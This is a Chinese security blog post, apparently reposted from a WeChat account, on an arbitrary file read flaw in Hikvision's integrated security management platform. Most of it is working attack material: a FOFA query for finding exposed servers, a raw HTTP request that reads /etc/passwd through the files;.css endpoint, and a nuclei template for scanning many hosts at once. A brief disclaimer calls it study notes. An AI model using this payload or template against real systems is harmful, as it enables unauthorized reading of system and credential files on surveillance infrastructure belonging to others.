海康威视综合安防管理平台任意文件读取漏洞

admin 2024年2月13日23:13:16评论32 views字数 1328阅读4分25秒阅读模式

免责声明:

本文内容为学习笔记分享,仅供技术学习参考,请勿用作违法用途,任何个人和组织利用此文所提供的信息而造成的直接或间接后果和损失,均由使用者本人负责,与作者无关!!!

漏洞描述

Hikvision综合安防管理平台files;.css接口存在任意文件读取漏洞。

fofa语句

title="综合安防管理平台"

漏洞复现

打开页面

海康威视综合安防管理平台任意文件读取漏洞

构造payload

海康威视综合安防管理平台任意文件读取漏洞

GET /lm/api/files;.css?link=/etc/passwd HTTP/1.1
Host:
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/114.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Cache-Control: max-age=0
Connection: close
Upgrade-Insecure-Requests: 1
Accept-Encoding: gzip, deflate
Connection: close

nuclei批量验证

海康威视综合安防管理平台任意文件读取漏洞

id: Hikvision-filereading

info:
name: 海康威视综合安防管理平台任意文件读取漏洞
author: changge
severity: high
description: Hikvision综合安防管理平台files;.css接口存在任意文件读取漏洞。
metadata:
fofa-query: title="综合安防管理平台"

requests:
- raw:
- |
GET /lm/api/files;.css?link=/etc/passwd HTTP/1.1
Host: {{Hostname}}
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/114.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Connection: Keep-Alive
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1

matchers-condition: and
matchers:
- type: word
part: body
words:
- 'root'
- type: status
status:
- 200

github poc总汇地址:https://github.com/AYcg/poc


原文始发于微信公众号(AY长歌):海康威视综合安防管理平台任意文件读取漏洞

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2024年2月13日23:13:16
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   海康威视综合安防管理平台任意文件读取漏洞https://cn-sec.com/archives/2490707.html

发表评论

匿名网友 填写信息